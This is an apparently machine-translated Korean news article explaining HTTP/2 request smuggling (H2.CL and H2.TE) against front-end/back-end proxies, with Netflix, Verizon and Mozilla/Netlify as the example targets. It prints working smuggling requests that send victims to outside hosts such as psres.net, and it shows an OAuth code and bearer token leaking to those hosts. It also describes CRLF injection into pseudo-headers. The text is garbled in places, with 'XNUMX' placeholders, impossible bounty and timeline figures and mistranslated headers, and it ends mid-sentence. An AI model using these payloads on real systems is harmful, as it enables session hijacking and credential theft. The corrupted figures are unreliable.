์š”์ฒญ์— ๊ฐœ์ž…ํ•  ์ˆ˜ ์žˆ๋Š” ํ”„๋ŸฐํŠธ์—”๋“œ-๋ฐฑ์—”๋“œ ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ ์ƒˆ๋กœ์šด ๊ณต๊ฒฉ

ํ”„๋ŸฐํŠธ ์—”๋“œ๊ฐ€ HTTP/2๋ฅผ ํ†ตํ•ด ์—ฐ๊ฒฐ์„ ์ˆ˜๋ฝํ•˜๊ณ  ์ด๋ฅผ HTTP/1.1์„ ํ†ตํ•ด ๋ฐฑ์—”๋“œ๋กœ ์ „์†กํ•˜๋Š” ์›น ์‹œ์Šคํ…œ์€ "HTTP ์š”์ฒญ ์Šค๋จธ๊ธ€๋ง(HTTP Request Smuggling)" ๊ณต๊ฒฉ์˜ ์ƒˆ๋กœ์šด ๋ณ€์ข…์— ๋…ธ์ถœ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ํ”„๋ŸฐํŠธ์—”๋“œ์™€ ๋ฐฑ์—”๋“œ ์‚ฌ์ด์—์„œ ๋™์ผํ•œ ํ๋ฆ„์œผ๋กœ ์ฒ˜๋ฆฌ๋˜๋Š” ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ์š”์ฒญ ๋‚ด์šฉ์— ์๊ธฐ๋ฅผ ๋ฐ•์Šต๋‹ˆ๋‹ค. ์ด ๊ณต๊ฒฉ์€ ํ•ฉ๋ฒ•์ ์ธ ์›น์‚ฌ์ดํŠธ์˜ ์„ธ์…˜์— ์•…์„ฑ JavaScript ์ฝ”๋“œ๋ฅผ ์‚ฝ์ž…ํ•˜๊ณ , ์ ‘๊ทผ ์ œํ•œ ์‹œ์Šคํ…œ์„ ์šฐํšŒํ•˜๊ณ , ์ธ์ฆ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ๊ฐ€๋กœ์ฑ„๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๋ฌธ์ œ๋Š” ์š”์ฒญ์ด ํ”„๋ŸฐํŠธ์—”๋“œ์—์„œ ๋ฐฑ์—”๋“œ ๋ฐฉ์‹์œผ๋กœ ๋ฆฌ๋””๋ ‰์…˜๋˜๋Š” ์›น ํ”„๋ก์‹œ, ๋กœ๋“œ ๋ฐธ๋Ÿฐ์„œ, ์›น ๊ฐ€์†๊ธฐ, ์ฝ˜ํ…์ธ  ์ „๋‹ฌ ์‹œ์Šคํ…œ ๋ฐ ๊ธฐํƒ€ ๊ตฌ์„ฑ์— ์˜ํ–ฅ์„ ๋ฏธ์นฉ๋‹ˆ๋‹ค. ์—ฐ๊ตฌ ์ž‘์„ฑ์ž๋Š” Netflix, Verizon, Bitbucket, Netlify CDN ๋ฐ Atlassian ์‹œ์Šคํ…œ์„ ๊ณต๊ฒฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ€๋Šฅ์„ฑ์„ ์ž…์ฆํ–ˆ์œผ๋ฉฐ, ์ทจ์•ฝ์  ์‹๋ณ„์— ๋Œ€ํ•œ ๋ณด์ƒ ํ”„๋กœ๊ทธ๋žจ์œผ๋กœ 56๋‹ฌ๋Ÿฌ๋ฅผ ๋ฐ›์•˜์Šต๋‹ˆ๋‹ค. F5๋„คํŠธ์›์Šค ์ œํ’ˆ์—์„œ๋„ ๋ฌธ์ œ๊ฐ€ ํ™•์ธ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฌธ์ œ๋Š” Apache http ์„œ๋ฒ„(CVE-2021-33193)์˜ mod_proxy์— ๋ถ€๋ถ„์ ์œผ๋กœ ์˜ํ–ฅ์„ ๋ฏธ์น˜๋ฉฐ ๋ฒ„์ „ 2.4.49์—์„œ ์ˆ˜์ •์ด ์˜ˆ์ƒ๋ฉ๋‹ˆ๋‹ค(๊ฐœ๋ฐœ์ž์—๊ฒŒ 3์›” ์ดˆ์— ๋ฌธ์ œ์— ๋Œ€ํ•œ ์•Œ๋ฆผ์ด ์ „๋‹ฌ๋˜์—ˆ์œผ๋ฉฐ ์ˆ˜์ •์„ ์œ„ํ•ด 1.21.1๊ฐœ์›”์˜ ์‹œ๊ฐ„์ด ์ฃผ์–ด์กŒ์Šต๋‹ˆ๋‹ค). nginx์—์„œ๋Š” "Content-Length" ๋ฐ "Transfer-Encoding" ํ—ค๋”๋ฅผ ๋™์‹œ์— ์ง€์ •ํ•˜๋Š” ๊ธฐ๋Šฅ์ด ๋งˆ์ง€๋ง‰ ๋ฆด๋ฆฌ์Šค(XNUMX)์—์„œ ์ฐจ๋‹จ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ ๋„๊ตฌ๋Š” ์ด๋ฏธ Burp ๋„๊ตฌ ํ‚คํŠธ์— ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฉฐ Turbo Intruder ํ™•์žฅ ํ˜•์‹์œผ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์š”์ฒญ์„ ํŠธ๋ž˜ํ”ฝ์— ์—ฐ๊ฒฐํ•˜๋Š” ์ƒˆ๋กœ์šด ๋ฐฉ๋ฒ•์˜ ์ž‘๋™ ์›๋ฆฌ๋Š” 1.1๋…„ ์ „ ๋™์ผํ•œ ์—ฐ๊ตฌ์›์ด ์‹๋ณ„ํ•œ ์ทจ์•ฝ์ ๊ณผ ์œ ์‚ฌํ•˜์ง€๋งŒ HTTP/XNUMX์„ ํ†ตํ•ด ์š”์ฒญ์„ ์ˆ˜๋ฝํ•˜๋Š” ํ”„๋ŸฐํŠธ์—”๋“œ๋กœ ์ œํ•œ๋ฉ๋‹ˆ๋‹ค. ํ”„๋ŸฐํŠธ์—”๋“œ-๋ฐฑ์—”๋“œ ๊ตฌ์„ฑํ‘œ์—์„œ ํด๋ผ์ด์–ธํŠธ ์š”์ฒญ์€ ์ถ”๊ฐ€ ๋…ธ๋“œ, ์ฆ‰ ์š”์ฒญ์„ ์ง์ ‘ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฐฑ์—”๋“œ์™€ ์˜ค๋žซ๋™์•ˆ ์ง€์†๋˜๋Š” TCP ์—ฐ๊ฒฐ์„ ์„ค์ •ํ•˜๋Š” ํ”„๋ŸฐํŠธ์—”๋“œ์— ์˜ํ•ด ์ˆ˜์‹ ๋œ๋‹ค๋Š” ์ ์„ ๊ธฐ์–ตํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. ์ด ๊ณตํ†ต ์—ฐ๊ฒฐ์„ ํ†ตํ•ด ์ผ๋ฐ˜์ ์œผ๋กœ ์„œ๋กœ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ์š”์ฒญ์ด ์ „์†ก๋˜๋ฉฐ, ์ด๋Š” HTTP ํ”„๋กœํ† ์ฝœ์„ ํ†ตํ•ด ๋ถ„๋ฆฌ๋˜์–ด ์ฒด์ธ์„ ๋”ฐ๋ผ ์ฐจ๋ก€๋กœ ์ „์†ก๋ฉ๋‹ˆ๋‹ค.

๊ณ ์ „์ ์ธ "HTTP ์š”์ฒญ ๋ฐ€์ˆ˜" ๊ณต๊ฒฉ์€ ํ”„๋ŸฐํŠธ์—”๋“œ์™€ ๋ฐฑ์—”๋“œ๊ฐ€ HTTP ํ—ค๋” "Content-Length"(์š”์ฒญ์— ์žˆ๋Š” ๋ฐ์ดํ„ฐ์˜ ์ „์ฒด ํฌ๊ธฐ๋ฅผ ๊ฒฐ์ •) ๋ฐ "Transfer-Encoding: ์ฒญํฌ"(์ฒญํฌ ํ—ˆ์šฉ)์˜ ์‚ฌ์šฉ์„ ํ•ด์„ํ•œ๋‹ค๋Š” ์‚ฌ์‹ค์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ๋ถ€๋ถ„์ ์œผ๋กœ ์ „์†ก๋˜๋Š” ๋ฐ์ดํ„ฐ)๊ฐ€ ๋‹ค๋ฆ…๋‹ˆ๋‹ค. . ์˜ˆ๋ฅผ ๋“ค์–ด ํ”„๋ŸฐํŠธ์—”๋“œ๊ฐ€ "Content-Length"๋งŒ ์ง€์›ํ•˜๊ณ  "Transfer-Encoding: ์ฒญํฌ ๋ถ„ํ• "์„ ๋ฌด์‹œํ•˜๋Š” ๊ฒฝ์šฐ ๊ณต๊ฒฉ์ž๋Š” "Content-Length" ๋ฐ "Transfer-Encoding: ์ฒญํฌ ๋ถ„ํ• " ํ—ค๋”๋ฅผ ๋ชจ๋‘ ํฌํ•จํ•˜๋Š” ์š”์ฒญ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์ง€๋งŒ ํฌ๊ธฐ๋Š” "Content-Length"์ด๋ฉฐ ์ฒญํฌ ์ฒด์ธ์˜ ํฌ๊ธฐ์™€ ์ผ์น˜ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ ํ”„๋ŸฐํŠธ์—”๋“œ๋Š” "Content-Length"์— ๋”ฐ๋ผ ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•˜๊ณ  ๋ฆฌ๋””๋ ‰์…˜ํ•˜๋ฉฐ, ๋ฐฑ์—”๋“œ๋Š” "Transfer-Encoding: Chunked"๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ๋ธ”๋ก์ด ์™„๋ฃŒ๋  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ฆฌ๋ฉฐ ๊ณต๊ฒฉ์ž ์š”์ฒญ์˜ ๋‚˜๋จธ์ง€ ๋ถ€๋ถ„์€ ๋‹ค์Œ์— ์ „์†ก๋˜๋Š” ๋‹ค๋ฅธ ์‚ฌ๋žŒ์˜ ์š”์ฒญ ์‹œ์ž‘ ๋ถ€๋ถ„์— ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๋ผ์ธ ์ˆ˜์ค€์—์„œ ๊ตฌ๋ฌธ ๋ถ„์„๋˜๋Š” ํ…์ŠคํŠธ ํ”„๋กœํ† ์ฝœ HTTP/1.1๊ณผ ๋‹ฌ๋ฆฌ HTTP/2๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ ํ”„๋กœํ† ์ฝœ์ด๋ฉฐ ๋ฏธ๋ฆฌ ์ง€์ •๋œ ํฌ๊ธฐ์˜ ๋ฐ์ดํ„ฐ ๋ธ”๋ก์„ ์กฐ์ž‘ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ HTTP/2๋Š” ์ผ๋ฐ˜ HTTP ํ—ค๋”์— ํ•ด๋‹นํ•˜๋Š” ์˜์‚ฌ ํ—ค๋”๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. HTTP/1.1 ํ”„๋กœํ† ์ฝœ์„ ํ†ตํ•ด ๋ฐฑ์—”๋“œ์™€ ์ƒํ˜ธ ์ž‘์šฉํ•˜๋Š” ๊ฒฝ์šฐ ํ”„๋ŸฐํŠธ์—”๋“œ๋Š” ์ด๋Ÿฌํ•œ ์˜์‚ฌ ํ—ค๋”๋ฅผ ์œ ์‚ฌํ•œ HTTP ํ—ค๋” HTTP/1.1๋กœ ๋ณ€ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ๋ฌธ์ œ๋Š” ๋ฐฑ์—”๋“œ๊ฐ€ ์›๋ž˜ ์š”์ฒญ์˜ ๋งค๊ฐœ๋ณ€์ˆ˜์— ๋Œ€ํ•œ ์ •๋ณด ์—†์ด ํ”„๋ŸฐํŠธ์—”๋“œ์—์„œ ์„ค์ •ํ•œ HTTP ํ—ค๋”๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ์ŠคํŠธ๋ฆผ ๊ตฌ๋ฌธ ๋ถ„์„์— ๋Œ€ํ•œ ๊ฒฐ์ •์„ ๋‚ด๋ฆฐ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

ํŠนํžˆ, โ€œcontent-lengthโ€์™€ โ€œtransfer-encodingโ€ ๊ฐ’์€ ๋ชจ๋“  ๋ฐ์ดํ„ฐ์˜ ํฌ๊ธฐ๊ฐ€ ๊ฒฐ์ •๋˜๊ธฐ ๋•Œ๋ฌธ์— HTTP/2์—์„œ๋Š” ์‚ฌ์šฉ๋˜์ง€ ์•Š์Œ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  ์˜์‚ฌ ํ—ค๋” ํ˜•ํƒœ๋กœ ์ „์†ก๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ณ„๋„์˜ ํ•„๋“œ์— ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ HTTP/2 ์š”์ฒญ์„ HTTP/1.1๋กœ ๋ณ€ํ™˜ํ•˜๋Š” ๊ณผ์ •์—์„œ ์ด๋Ÿฌํ•œ ํ—ค๋”๊ฐ€ ์ „๋‹ฌ๋˜์–ด ๋ฐฑ์—”๋“œ๋ฅผ ํ˜ผ๋ž€์Šค๋Ÿฝ๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‘ ๊ฐ€์ง€ ์ฃผ์š” ๊ณต๊ฒฉ ๋ณ€ํ˜•์ด ์žˆ์Šต๋‹ˆ๋‹ค: H2.TE ๋ฐ H2.CL. ์ด ๊ฒฝ์šฐ ํ”„๋ŸฐํŠธ์—”๋“œ๊ฐ€ ์ˆ˜์‹ ํ•œ ์š”์ฒญ ๋ณธ๋ฌธ์˜ ์‹ค์ œ ํฌ๊ธฐ์™€ ์ผ์น˜ํ•˜์ง€ ์•Š๋Š” ์ž˜๋ชป๋œ ์ „์†ก ์ธ์ฝ”๋”ฉ ๋˜๋Š” ์ฝ˜ํ…์ธ  ๊ธธ์ด ๊ฐ’์œผ๋กœ ์ธํ•ด ๋ฐฑ์—”๋“œ๊ฐ€ ์ž˜๋ชป ์œ ๋„๋ฉ๋‹ˆ๋‹ค. HTTP/2 ํ”„๋กœํ† ์ฝœ.

์š”์ฒญ์— ๊ฐœ์ž…ํ•  ์ˆ˜ ์žˆ๋Š” ํ”„๋ŸฐํŠธ์—”๋“œ-๋ฐฑ์—”๋“œ ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ ์ƒˆ๋กœ์šด ๊ณต๊ฒฉ

H2.CL ๊ณต๊ฒฉ์˜ ์˜ˆ๋กœ๋Š” Netflix์— HTTP/2 ์š”์ฒญ์„ ๋ณด๋‚ผ ๋•Œ ์ฝ˜ํ…์ธ  ๊ธธ์ด ์˜์‚ฌ ํ—ค๋”์— ์ž˜๋ชป๋œ ํฌ๊ธฐ๋ฅผ ์ง€์ •ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด ์š”์ฒญ์œผ๋กœ ์ธํ•ด HTTP/1.1์„ ํ†ตํ•ด ๋ฐฑ์—”๋“œ์— ์•ก์„ธ์Šคํ•  ๋•Œ ์œ ์‚ฌํ•œ HTTP ํ—ค๋” Content-Length๊ฐ€ ์ถ”๊ฐ€๋˜์ง€๋งŒ Content-Length์˜ ํฌ๊ธฐ๊ฐ€ ์‹ค์ œ ํฌ๊ธฐ๋ณด๋‹ค ์ž‘๊ฒŒ ์ง€์ •๋˜๋ฏ€๋กœ tail์˜ ๋ฐ์ดํ„ฐ ์ผ๋ถ€๊ฐ€ ๋‹ค์Œ ์š”์ฒญ์˜ ์‹œ์ž‘

์˜ˆ๋ฅผ ๋“ค์–ด HTTP/2๋ฅผ ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค. :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

์š”์ฒญ์ด ๋ฐฑ์—”๋“œ๋กœ ์ „์†ก๋ฉ๋‹ˆ๋‹ค. POST /n HTTP/1.1 ํ˜ธ์ŠคํŠธ: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 ํ˜ธ์ŠคํŠธ: 02.rs?x.netflix.com Foo: bar

Content-Length์˜ ๊ฐ’์ด 4์ด๋ฏ€๋กœ ๋ฐฑ์—”๋“œ๋Š” ์š”์ฒญ ๋ณธ๋ฌธ์œผ๋กœ "abcd"๋งŒ ํ—ˆ์šฉํ•˜๊ณ  "GET /n HTTP/1.1..."์˜ ๋‚˜๋จธ์ง€ ๋ถ€๋ถ„์€ ํ›„์† ์š”์ฒญ์˜ ์‹œ์ž‘์œผ๋กœ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์™€ ์—ฐ๊ฒฐ๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ŠคํŠธ๋ฆผ์€ ๋น„๋™๊ธฐํ™”๋˜๊ณ  ๋‹ค์Œ ์š”์ฒญ์— ๋Œ€ํ•œ ์‘๋‹ต์œผ๋กœ ๋”๋ฏธ ์š”์ฒญ ์ฒ˜๋ฆฌ ๊ฒฐ๊ณผ๊ฐ€ ๋ฐœํ–‰๋ฉ๋‹ˆ๋‹ค. Netflix์˜ ๊ฒฝ์šฐ ๋”๋ฏธ ์š”์ฒญ์˜ "Host:" ํ—ค๋”์— ํƒ€์‚ฌ ํ˜ธ์ŠคํŠธ๋ฅผ ์ง€์ •ํ•˜๋ฉด ํด๋ผ์ด์–ธํŠธ๊ฐ€ "์œ„์น˜: https://02.rs?x.netflix.com/n" ์‘๋‹ต์„ ๋ฐ˜ํ™˜ํ•˜๊ณ  Netflix ์‚ฌ์ดํŠธ์˜ ์ปจํ…์ŠคํŠธ์—์„œ JavaScript ์ฝ”๋“œ ์‹คํ–‰์„ ํฌํ•จํ•˜์—ฌ ์ž„์˜์˜ ์ฝ˜ํ…์ธ ๊ฐ€ ํด๋ผ์ด์–ธํŠธ์— ์ „์†ก๋˜๋„๋ก ํ—ˆ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค.

๋‘ ๋ฒˆ์งธ ๊ณต๊ฒฉ ์˜ต์…˜(H2.TE)์€ "Transfer-Encoding: Chunked" ํ—ค๋”๋ฅผ ๋Œ€์ฒดํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. HTTP/2์—์„œ ์ „์†ก ์ธ์ฝ”๋”ฉ ์˜์‚ฌ ํ—ค๋”์˜ ์‚ฌ์šฉ์€ ์‚ฌ์–‘์— ์˜ํ•ด ๊ธˆ์ง€๋˜์–ด ์žˆ์œผ๋ฉฐ ์ด๋ฅผ ์‚ฌ์šฉํ•œ ์š”์ฒญ์€ ์ž˜๋ชป๋œ ๊ฒƒ์œผ๋กœ ์ฒ˜๋ฆฌ๋˜๋„๋ก ๊ทœ์ •๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿผ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  ์ผ๋ถ€ ํ”„๋ŸฐํŠธ์—”๋“œ ๊ตฌํ˜„์—์„œ๋Š” ์ด ์š”๊ตฌ ์‚ฌํ•ญ์„ ๊ณ ๋ คํ•˜์ง€ ์•Š๊ณ  ์œ ์‚ฌํ•œ HTTP ํ—ค๋”๋กœ ๋ณ€ํ™˜๋˜๋Š” HTTP/2์˜ ์ „์†ก ์ธ์ฝ”๋”ฉ ์˜์‚ฌ ํ—ค๋” ์‚ฌ์šฉ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. "์ „์†ก ์ธ์ฝ”๋”ฉ" ํ—ค๋”๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ ๋ฐฑ์—”๋“œ๋Š” ์ด๋ฅผ ๋” ๋†’์€ ์šฐ์„ ์ˆœ์œ„๋กœ ์ทจํ•˜๊ณ  "{size}\r\n{block" ํ˜•์‹์˜ ๋‹ค์–‘ํ•œ ํฌ๊ธฐ ๋ธ”๋ก์„ ์‚ฌ์šฉํ•˜์—ฌ "์ฒญํฌ" ๋ชจ๋“œ์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ํ•˜๋‚˜์”ฉ ๊ตฌ๋ฌธ ๋ถ„์„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. }\r\n{size} \r\n{block}\r\n0", ์ „์ฒด ํฌ๊ธฐ๋กœ ์ดˆ๊ธฐ ๋ถ„ํ• ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ .

์ด๋Ÿฌํ•œ ๊ฒฉ์ฐจ์˜ ์กด์žฌ๋Š” Verizon์˜ ์‚ฌ๋ก€์—์„œ ์ž…์ฆ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๋ฌธ์ œ๋Š” Huffington Post ๋ฐ Engadget๊ณผ ๊ฐ™์€ ์‚ฌ์ดํŠธ์—์„œ๋„ ์‚ฌ์šฉ๋˜๋Š” ์ธ์ฆ ํฌํ„ธ ๋ฐ ์ฝ˜ํ…์ธ  ๊ด€๋ฆฌ ์‹œ์Šคํ…œ๊ณผ ๊ด€๋ จ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด HTTP/2๋ฅผ ํ†ตํ•œ ํด๋ผ์ด์–ธํŠธ ์š”์ฒญ: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding Chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

๋ฐฑ์—”๋“œ์— HTTP/1.1 ์š”์ฒญ์„ ๋ณด๋‚ธ ๊ฒฐ๊ณผ: POST /identity/XUI HTTP/1.1 ํ˜ธ์ŠคํŠธ: id.b2b.oath.com ์ฝ˜ํ…์ธ  ๊ธธ์ด: 66 ์ „์†ก ์ธ์ฝ”๋”ฉ: ์ฒญํฌ 0 GET /oops HTTP/1.1 ํ˜ธ์ŠคํŠธ: psres. ์ˆœ ์ฝ˜ํ…์ธ - ๊ธธ์ด: 10x=

๊ทธ๋Ÿฌ๋ฉด ๋ฐฑ์—”๋“œ๋Š” "Content-Length" ํ—ค๋”๋ฅผ ๋ฌด์‹œํ•˜๊ณ  "Transfer-Encoding: Chunked"๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ์ธ์ŠคํŠธ๋ฆผ ๋ถ„ํ• ์„ ์ˆ˜ํ–‰ํ–ˆ์Šต๋‹ˆ๋‹ค. ์‹ค์ œ๋กœ ์ด ๊ณต๊ฒฉ์„ ํ†ตํ•ด OAuth ์ธ์ฆ๊ณผ ๊ด€๋ จ๋œ ์š”์ฒญ์„ ๊ฐ€๋กœ์ฑ„๋Š” ๊ฒƒ(Referer ํ—ค๋”์— ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ํ‘œ์‹œ๋จ), ์ธ์ฆ ์„ธ์…˜์„ ์‹œ๋ฎฌ๋ ˆ์ด์…˜ํ•˜๊ณ  ์‚ฌ์šฉ์ž ์‹œ์Šคํ…œ์ด ์ž๊ฒฉ ์ฆ๋ช…์„ ๋ณด๋‚ด๋„๋ก ํŠธ๋ฆฌ๊ฑฐํ•˜๋Š” ๋“ฑ ์‚ฌ์šฉ์ž ์š”์ฒญ์„ ์›น ์‚ฌ์ดํŠธ๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ด์กŒ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž์˜ ํ˜ธ์ŠคํŠธ์—. GET /b2blanding/show/oops HTTP/1.1 ํ˜ธ์ŠคํŠธ: psres.net ์ถ”์ฒœ์ž: https://id.b2b.oath.com/?โ€ฆ&code=secret GET / HTTP/1.1 ํ˜ธ์ŠคํŠธ: psres.net ์ธ์ฆ: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ikโ€ฆ

์ „์†ก ์ธ์ฝ”๋”ฉ ์˜์‚ฌ ํ—ค๋” ์ง€์ •์„ ํ—ˆ์šฉํ•˜์ง€ ์•Š๋Š” HTTP/2 ๊ตฌํ˜„์„ ๊ณต๊ฒฉํ•˜๊ธฐ ์œ„ํ•ด "Transfer-Encoding" ํ—ค๋”๋ฅผ ๊ฐœํ–‰ ๋ฌธ์ž๋กœ ๊ตฌ๋ถ„๋œ ๋‹ค๋ฅธ ์˜์‚ฌ ํ—ค๋”์— ์ฒจ๋ถ€ํ•˜์—ฌ ๋Œ€์ฒดํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์ด ์ œ์•ˆ๋˜์—ˆ์Šต๋‹ˆ๋‹ค( ์ด ๊ฒฝ์šฐ HTTP/1.1๋กœ ๋ณ€ํ™˜ํ•˜๋ฉด ๋‘ ๊ฐœ์˜ ๋ณ„๋„ HTTP ํ—ค๋”๊ฐ€ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด Atlassian Jira ๋ฐ Netlify CDN(Firefox์—์„œ Mozilla ์‹œ์ž‘ ํŽ˜์ด์ง€๋ฅผ ์ œ๊ณตํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋จ)์ด ์ด ๋ฌธ์ œ์˜ ์˜ํ–ฅ์„ ๋ฐ›์•˜์Šต๋‹ˆ๋‹ค. ํŠนํžˆ HTTP/2 ์š”์ฒญ :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: Chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n ์ฝ˜ํ…์ธ  ๊ธธ์ด: 5\r\n \r\nx=

๊ฒฐ๊ณผ์ ์œผ๋กœ HTTP/1.1 POST/HTTP/1.1 ์š”์ฒญ์ด ๋ฐฑ์—”๋“œ๋กœ ์ „์†ก๋˜์—ˆ์Šต๋‹ˆ๋‹ค.\r\n ํ˜ธ์ŠคํŠธ: start.mozilla.org\r\n Foo: b\r\n ์ „์†ก ์ธ์ฝ”๋”ฉ: ์ฒญํฌ\r\n ์ฝ˜ํ…์ธ  ๊ธธ์ด : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n ํ˜ธ์ŠคํŠธ: evil-netlify-domain\r\n ์ฝ˜ํ…์ธ  ๊ธธ์ด: 5\r\n \r \nx=

"Transfer-Encoding" ํ—ค๋”๋ฅผ ๋Œ€์ฒดํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ์˜ต์…˜์€ ์ด๋ฅผ ๋‹ค๋ฅธ ์˜์‚ฌ ํ—ค๋”์˜ ์ด๋ฆ„์ด๋‚˜ ์š”์ฒญ ๋ฉ”์†Œ๋“œ๊ฐ€ ์žˆ๋Š” ํ–‰์— ์ฒจ๋ถ€ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด Atlassian Jira์— ์•ก์„ธ์Šคํ•  ๋•Œ ๊ฐ’์ด "chunked"์ธ ์˜์‚ฌ ํ—ค๋” ์ด๋ฆ„ "foo: bar\r\ntransfer-encoding"์œผ๋กœ ์ธํ•ด HTTP ํ—ค๋” "foo: bar" ๋ฐ "transfer-encoding: Chunked"๊ฐ€ ์ถ”๊ฐ€๋˜์—ˆ์Šต๋‹ˆ๋‹ค. , ์˜์‚ฌ ํ—ค๋” ":method" ๊ฐ’ "GET / HTTP/1.1\r\nTransfer-encoding: ์ฒญํฌ๋จ"์„ ์ง€์ •ํ•˜๋ฉด "GET / HTTP/1.1\r\ntransfer-encoding: ์ฒญํฌ๋จ"์œผ๋กœ ๋ณ€ํ™˜๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

๋ฌธ์ œ๋ฅผ ํŒŒ์•…ํ•œ ์—ฐ๊ตฌ์›์€ ํ”„๋ŸฐํŠธ์—”๋“œ๋ฅผ ๊ณต๊ฒฉํ•˜๊ธฐ ์œ„ํ•œ ์š”์ฒญ ํ„ฐ๋„๋ง ๊ธฐ์ˆ ๋„ ์ œ์•ˆํ–ˆ๋Š”๋ฐ, ์ด ๊ธฐ์ˆ ์—์„œ๋Š” ๊ฐ IP ์ฃผ์†Œ๊ฐ€ ๋ฐฑ์—”๋“œ์— ๋ณ„๋„์˜ ์—ฐ๊ฒฐ์„ ์„ค์ •ํ•˜๊ณ  ์„œ๋กœ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ํŠธ๋ž˜ํ”ฝ์ด ํ˜ผํ•ฉ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ œ์•ˆ๋œ ๊ธฐ์ˆ ์€ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ์š”์ฒญ์„ ๋ฐฉํ•ดํ•˜๋Š” ๊ฒƒ์„ ํ—ˆ์šฉํ•˜์ง€ ์•Š์ง€๋งŒ, ๋‹ค๋ฅธ ์š”์ฒญ์˜ ์ฒ˜๋ฆฌ์— ์˜ํ–ฅ์„ ๋ฏธ์น˜๋Š” ๊ณต์œ  ์บ์‹œ๋ฅผ ์˜ค์—ผ์‹œํ‚ฌ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํ”„๋ŸฐํŠธ์—”๋“œ์—์„œ ๋ฐฑ์—”๋“œ๋กœ ์„œ๋น„์Šค ์ •๋ณด๋ฅผ ์ „์†กํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ๋‚ด๋ถ€ HTTP ํ—ค๋”๋ฅผ ๋Œ€์ฒดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ํ”„๋ŸฐํŠธ์—”๋“œ ์ธก์—์„œ ์ธ์ฆํ•  ๋•Œ ์ด๋Ÿฌํ•œ 